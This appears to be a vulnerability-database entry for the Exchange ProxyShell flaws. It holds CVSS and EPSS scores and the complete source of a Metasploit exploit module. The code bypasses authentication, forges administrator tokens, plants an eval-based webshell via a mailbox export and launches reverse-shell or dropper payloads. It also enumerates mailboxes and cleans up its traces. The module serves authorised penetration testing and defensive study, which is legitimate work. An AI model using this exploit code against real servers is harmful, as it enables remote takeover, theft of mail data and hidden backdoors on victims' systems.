9.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.973 High
EPSS
Percentile
99.9%
This module exploits a vulnerability on Microsoft Exchange Server that allows an attacker to bypass the authentication (CVE-2021-31207), impersonate an arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve the RCE (Remote Code Execution). By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server. This vulnerability affects Exchange 2013 CU23 < 15.0.1497.15, Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5, Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9. All components are vulnerable by default.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Exchange ProxyShell RCE',
'Description' => %q{
This module exploits a vulnerability on Microsoft Exchange Server that
allows an attacker to bypass the authentication (CVE-2021-31207), impersonate an
arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve
the RCE (Remote Code Execution).
By taking advantage of this vulnerability, you can execute arbitrary
commands on the remote Microsoft Exchange Server.
This vulnerability affects Exchange 2013 CU23 < 15.0.1497.15,
Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5,
Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9.
All components are vulnerable by default.
},
'Author' => [
'Orange Tsai', # Discovery
'Jang (@testanull)', # Vulnerability analysis
'PeterJson', # Vulnerability analysis
'brandonshi123', # Vulnerability analysis
'mekhalleh (RAMELLA Sébastien)', # exchange_proxylogon_rce template
'Donny Maasland', # Procedure optimizations (email enumeration)
'Rich Warren', # Procedure optimizations (email enumeration)
'Spencer McIntyre', # Metasploit module
'wvu' # Testing
],
'References' => [
[ 'CVE', '2021-34473' ],
[ 'CVE', '2021-34523' ],
[ 'CVE', '2021-31207' ],
[ 'URL', 'https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1' ],
[ 'URL', 'https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf' ],
[ 'URL', 'https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/' ],
[ 'URL', 'https://github.com/dmaasland/proxyshell-poc' ]
],
'DisclosureDate' => '2021-04-06', # pwn2own 2021
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Platform' => ['windows'],
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
'Privileged' => true,
'Targets' => [
[
'Windows Powershell',
{
'Platform' => 'windows',
'Arch' => [ARCH_X64, ARCH_X86],
'Type' => :windows_powershell,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Platform' => 'windows',
'Arch' => [ARCH_X64, ARCH_X86],
'Type' => :windows_dropper,
'CmdStagerFlavor' => %i[psh_invokewebrequest],
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'
}
}
],
[
'Windows Command',
{
'Platform' => 'windows',
'Arch' => [ARCH_CMD],
'Type' => :windows_command,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'AKA' => ['ProxyShell'],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('EMAIL', [false, 'A known email address for this organization']),
OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]),
])
register_advanced_options([
OptString.new('BackendServerName', [false, 'Force the name of the backend Exchange server targeted']),
OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\Program Files\\Microsoft\\Exchange Server\\V15']),
OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\auth']),
OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\inetpub\\wwwroot']),
OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),
OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002'])
])
end
def check
@ssrf_email ||= Faker::Internet.email
res = send_http('GET', '/mapi/nspi/')
return CheckCode::Unknown if res.nil?
return CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint'
CheckCode::Vulnerable
end
def cmd_windows_generic?
datastore['PAYLOAD'] == 'cmd/windows/generic'
end
def encode_cmd(cmd)
cmd.gsub!('\\', '\\\\\\')
cmd.gsub('"', '\u0022').gsub('&', '\u0026').gsub('+', '\u002b')
end
def random_mapi_id
id = "{#{Rex::Text.rand_text_hex(8)}"
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
id = "#{id}-#{Rex::Text.rand_text_hex(12)}}"
id.upcase
end
def request_autodiscover(email)
xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }
response = send_http(
'POST',
'/autodiscover/autodiscover.xml',
data: XMLTemplate.render('soap_autodiscover', email: email),
ctype: 'text/xml; charset=utf-8'
)
case response.body
when %r{<ErrorCode>500</ErrorCode>}
fail_with(Failure::NotFound, 'No Autodiscover information was found')
when %r{<Action>redirectAddr</Action>}
fail_with(Failure::NotFound, 'No email address was found')
end
xml = Nokogiri::XML.parse(response.body)
legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content
fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.nil? || legacy_dn.empty?
server = ''
xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|
type = item.at_xpath('./xmlns:Type', xmlns)&.content
if type == 'EXCH'
server = item.at_xpath('./xmlns:Server', xmlns)&.content
end
end
fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?
{ server: server, legacy_dn: legacy_dn }
end
def request_fqdn
ntlm_ssp = "NTLMSSP\x00\x01\x00\x00\x00\x05\x02\x88\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
received = send_request_raw(
'method' => 'RPC_IN_DATA',
'uri' => normalize_uri('rpc', 'rpcproxy.dll'),
'headers' => {
'Authorization' => "NTLM #{Rex::Text.encode_base64(ntlm_ssp)}"
}
)
fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received
if received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i)
hash = received['WWW-Authenticate'].split('NTLM ')[1]
message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))
dns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]
return dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase
end
fail_with(Failure::NotFound, 'No Backend server was found')
end
# https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff
def request_mapi(legacy_dn)
data = "#{legacy_dn}\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
headers = {
'X-RequestType' => 'Connect',
'X-ClientInfo' => random_mapi_id,
'X-ClientApplication' => datastore['MapiClientApp'],
'X-RequestId' => "#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}"
}
sid = ''
response = send_http(
'POST',
'/mapi/emsmdb',
data: data,
ctype: 'application/mapi-http',
headers: headers
)
if response&.code == 200
sid = response.body.match(/S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/).to_s
end
fail_with(Failure::NotFound, 'No \'SID\' was found') if sid.empty?
sid
end
def get_sid_for_email(email)
autodiscover = request_autodiscover(email)
request_mapi(autodiscover[:legacy_dn])
end
# pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.
def exploit_setup
if datastore['BackendServerName'] && !datastore['BackendServerName'].empty?
server_name = datastore['BackendServerName']
print_status("Internal server name forced to: #{server_name}")
else
print_status('Retrieving backend FQDN over RPC request')
server_name = request_fqdn
print_status("Internal server name: #{server_name}")
end
@backend_server_name = server_name
get_common_access_token
print_good('Successfully assigned the \'Mailbox Import Export\' role')
print_good("Proceeding with SID: #{@mailbox_user_sid} (#{@mailbox_user_email})")
end
def probe_powershell_backend(common_access_token)
powershell_probe = send_http('GET', "/PowerShell/?X-Rps-CAT=#{common_access_token}")
fail_with(Failure::UnexpectedReply, 'Failed to access the PowerShell backend') unless powershell_probe&.code == 200
end
# this function doesn't return unless it's successful
def get_common_access_token
# get a SID from the specified email address
email_address = datastore['EMAIL']
unless email_address.blank?
sid = get_sid_for_email(email_address)
vprint_status("SID: #{sid} (#{email_address})")
common_access_token = build_token(sid)
probe_powershell_backend(common_access_token)
print_status("Assigning the 'Mailbox Import Export' role via #{email_address}")
role_assigned = execute_powershell('New-ManagementRoleAssignment', cat: common_access_token, args: [
{ name: '-Role', value: 'Mailbox Import Export' },
{ name: '-User', value: email_address }
])
unless role_assigned
fail_with(Failure::BadConfig, 'The specified email address does not have the \'Mailbox Import Export\' role and can not self-assign it')
end
@mailbox_user_sid = sid
@mailbox_user_email = email_address
@common_access_token = common_access_token
return
end
print_status('Enumerating valid email addresses and searching for one that either has the \'Mailbox Import Export\' role or can self-assign it')
get_emails.each do |this_email_address|
next if this_email_address == email_address # already tried this one
vprint_status("Reattempting to assign the 'Mailbox Import Export' role via #{this_email_address}")
begin
this_sid = get_sid_for_email(this_email_address)
rescue RuntimeError
print_error("Failed to identify the SID for #{this_email_address}")
next
end
common_access_token = build_token(this_sid)
role_assigned = execute_powershell('New-ManagementRoleAssignment', cat: common_access_token, args: [
{ name: '-Role', value: 'Mailbox Import Export' },
{ name: '-User', value: this_email_address }
])
next unless role_assigned
@mailbox_user_sid = this_sid
@mailbox_user_email = this_email_address
@common_access_token = common_access_token
return # rubocop:disable Lint/NonLocalExitFromIterator
end
fail_with(Failure::NoAccess, 'No user with the necessary management role was identified')
end
def send_http(method, uri, opts = {})
ssrf = "Autodiscover/autodiscover.json?a=#{@ssrf_email}"
opts[:cookie] = "Email=#{ssrf}"
super(method, "/#{ssrf}#{uri}", opts)
end
def get_emails
mailbox_table = Rex::Text::Table.new(
'Header' => 'Exchange Mailboxes',
'Columns' => %w[EmailAddress Name RoutingType MailboxType]
)
MailboxEnumerator.new(self).each do |row|
mailbox_table << row
end
print_status("Enumerated #{mailbox_table.rows.length} email addresses")
stored_path = store_loot('ad.exchange.mailboxes', 'text/csv', rhost, mailbox_table.to_csv)
print_status("Saved mailbox and email address data to: #{stored_path}")
mailbox_table.rows.map(&:first)
end
def create_embedded_draft(user_sid)
@shell_input_name = rand_text_alphanumeric(8..12)
@draft_subject = rand_text_alphanumeric(8..12)
print_status("Saving a draft email with subject '#{@draft_subject}' containing the attachment with the embedded webshell")
payload = Rex::Text.encode_base64(PstEncoding.encode("#<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request[\"#{@shell_input_name}\"],\"unsafe\");}</script>"))
file_name = "#{Faker::Lorem.word}#{%w[- _].sample}#{Faker::Lorem.word}.#{%w[rtf pdf docx xlsx pptx zip].sample}"
envelope = XMLTemplate.render('soap_draft', user_sid: user_sid, file_content: payload, file_name: file_name, subject: @draft_subject)
send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')
end
def web_directory
if datastore['UseAlternatePath']
datastore['IISWritePath'].gsub('\\', '/')
else
datastore['ExchangeWritePath'].gsub('\\', '/')
end
end
def build_token(sid)
uint8_tlv = proc do |type, value|
type + [value.length].pack('C') + value
end
token = uint8_tlv.call('V', "\x00")
token << uint8_tlv.call('T', 'Windows')
token << "\x43\x00"
token << uint8_tlv.call('A', 'Kerberos')
token << uint8_tlv.call('L', 'Administrator')
token << uint8_tlv.call('U', sid)
# group data for S-1-5-32-544
token << "\x47\x01\x00\x00\x00\x07\x00\x00\x00\x0c\x53\x2d\x31\x2d\x35\x2d\x33\x32\x2d\x35\x34\x34\x45\x00\x00\x00\x00"
Rex::Text.encode_base64(token)
end
def exploit
@ssrf_email ||= Faker::Internet.email
print_status('Attempt to exploit for CVE-2021-34473')
exploit_setup
create_embedded_draft(@mailbox_user_sid)
@shell_filename = "#{rand_text_alphanumeric(8..12)}.aspx"
if datastore['UseAlternatePath']
unc_path = "#{datastore['IISBasePath'].split(':')[1]}\\#{datastore['IISWritePath']}"
unc_path = "\\\\\\\\#{@backend_server_name}\\#{datastore['IISBasePath'].split(':')[0]}$#{unc_path}\\#{@shell_filename}"
else
unc_path = "#{datastore['ExchangeBasePath'].split(':')[1]}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}"
unc_path = "\\\\\\\\#{@backend_server_name}\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{unc_path}\\#{@shell_filename}"
end
normal_path = unc_path.gsub(/^\\+[\w.-]+\\(.)\$\\/, '\1:\\')
print_status("Writing to: #{normal_path}")
register_file_for_cleanup(normal_path)
@export_name = rand_text_alphanumeric(8..12)
successful = execute_powershell('New-MailboxExportRequest', cat: @common_access_token, args: [
{ name: '-Name', value: @export_name },
{ name: '-Mailbox', value: @mailbox_user_email },
{ name: '-IncludeFolders', value: '#Drafts#' },
{ name: '-ContentFilter', value: "(Subject -eq '#{@draft_subject}')" },
{ name: '-ExcludeDumpster' },
{ name: '-FilePath', value: unc_path }
])
fail_with(Failure::UnexpectedReply, 'The mailbox export request failed') unless successful
exported = false
print_status('Waiting for the export request to complete...')
30.times do
sleep 5
next unless send_request_cgi('uri' => normalize_uri(web_directory, @shell_filename))&.code == 200
print_good('The mailbox export request has completed')
exported = true
break
end
fail_with(Failure::Unknown, 'The mailbox export request timed out') unless exported
print_status('Triggering the payload')
case target['Type']
when :windows_command
vprint_status("Generated payload: #{payload.encoded}")
if !cmd_windows_generic?
execute_command(payload.encoded)
else
boundary = rand_text_alphanumeric(8..12)
response = execute_command("cmd /c echo START#{boundary}&#{payload.encoded}&echo END#{boundary}")
print_warning('Dumping command output in response')
if response.body =~ /START#{boundary}(.*)END#{boundary}/m
print_line(Regexp.last_match(1).strip)
else
print_error('Empty response, no command output')
end
end
when :windows_dropper
execute_command(generate_cmdstager(concat_operator: ';').join)
when :windows_powershell
cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)
execute_command(cmd)
end
end
def cleanup
super
return unless @common_access_token && @export_name
print_status('Removing the mailbox export request')
execute_powershell('Remove-MailboxExportRequest', cat: @common_access_token, args: [
{ name: '-Identity', value: "#{@mailbox_user_email}\\#{@export_name}" },
{ name: '-Confirm', value: false }
])
print_status('Removing the draft email')
execute_powershell('Search-Mailbox', cat: @common_access_token, args: [
{ name: '-Identity', value: @mailbox_user_email },
{ name: '-SearchQuery', value: "Subject:\"#{@draft_subject}\"" },
{ name: '-Force' },
{ name: '-DeleteContent' }
])
end
def execute_command(cmd, _opts = {})
if !cmd_windows_generic?
cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\"));"
else
cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\").StdOut.ReadAll());"
end
send_request_raw(
'method' => 'POST',
'uri' => normalize_uri(web_directory, @shell_filename),
'ctype' => 'application/x-www-form-urlencoded',
'data' => "#{@shell_input_name}=#{cmd}"
)
end
end
# Use https://learn.microsoft.com/en-us/exchange/client-developer/web-service-reference/resolvenames to resolve mailbox
# information. The endpoint only returns 100 at a time though so if the target has more than that many email addresses
# multiple requests will need to be made. Since the endpoint doesn't support pagination, we refine the query by using
# progressively larger search prefixes until there are less than 101 results and thus will fit into a single response.
class MailboxEnumerator
def initialize(mod)
@mod = mod
end
# the characters that Exchange Server 2019 allows in an alias (no unicode)
ALIAS_CHARSET = 'abcdefghijklmnopqrstuvwxyz0123456789!#$%&\'*+-/=?^_`{|}~'.freeze
XML_NS = {
'm' => 'http://schemas.microsoft.com/exchange/services/2006/messages',
't' => 'http://schemas.microsoft.com/exchange/services/2006/types'
}.freeze
include Enumerable
XMLTemplate = Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell::XMLTemplate
def each(name: 'SMTP:', &block)
envelope = XMLTemplate.render('soap_getemails', name: name)
res = @mod.send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')
return unless res&.code == 200
if res.get_xml_document.xpath('//m:ResolutionSet/@IncludesLastItemInRange', XML_NS).first&.text&.downcase == 'false'
ALIAS_CHARSET.each_char do |char|
each(name: name + char, &block)
end
else
res.get_xml_document.xpath('//t:Mailbox', XML_NS).each do |mailbox|
yield %w[t:EmailAddress t:Name t:RoutingType t:MailboxType].map { |xpath| mailbox.xpath(xpath, XML_NS)&.text || '' }
end
end
end
end
class PstEncoding
ENCODE_TABLE = [
71, 241, 180, 230, 11, 106, 114, 72,
133, 78, 158, 235, 226, 248, 148, 83,
224, 187, 160, 2, 232, 90, 9, 171,
219, 227, 186, 198, 124, 195, 16, 221,
57, 5, 150, 48, 245, 55, 96, 130,
140, 201, 19, 74, 107, 29, 243, 251,
143, 38, 151, 202, 145, 23, 1, 196,
50, 45, 110, 49, 149, 255, 217, 35,
209, 0, 94, 121, 220, 68, 59, 26,
40, 197, 97, 87, 32, 144, 61, 131,
185, 67, 190, 103, 210, 70, 66, 118,
192, 109, 91, 126, 178, 15, 22, 41,
60, 169, 3, 84, 13, 218, 93, 223,
246, 183, 199, 98, 205, 141, 6, 211,
105, 92, 134, 214, 20, 247, 165, 102,
117, 172, 177, 233, 69, 33, 112, 12,
135, 159, 116, 164, 34, 76, 111, 191,
31, 86, 170, 46, 179, 120, 51, 80,
176, 163, 146, 188, 207, 25, 28, 167,
99, 203, 30, 77, 62, 75, 27, 155,
79, 231, 240, 238, 173, 58, 181, 89,
4, 234, 64, 85, 37, 81, 229, 122,
137, 56, 104, 82, 123, 252, 39, 174,
215, 189, 250, 7, 244, 204, 142, 95,
239, 53, 156, 132, 43, 21, 213, 119,
52, 73, 182, 18, 10, 127, 113, 136,
253, 157, 24, 65, 125, 147, 216, 88,
44, 206, 254, 36, 175, 222, 184, 54,
200, 161, 128, 166, 153, 152, 168, 47,
14, 129, 101, 115, 228, 194, 162, 138,
212, 225, 17, 208, 8, 139, 42, 242,
237, 154, 100, 63, 193, 108, 249, 236
].freeze
def self.encode(data)
encoded = ''
data.each_char do |char|
encoded << ENCODE_TABLE[char.ord].chr
end
encoded
end
end
9.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.973 High
EPSS
Percentile
99.9%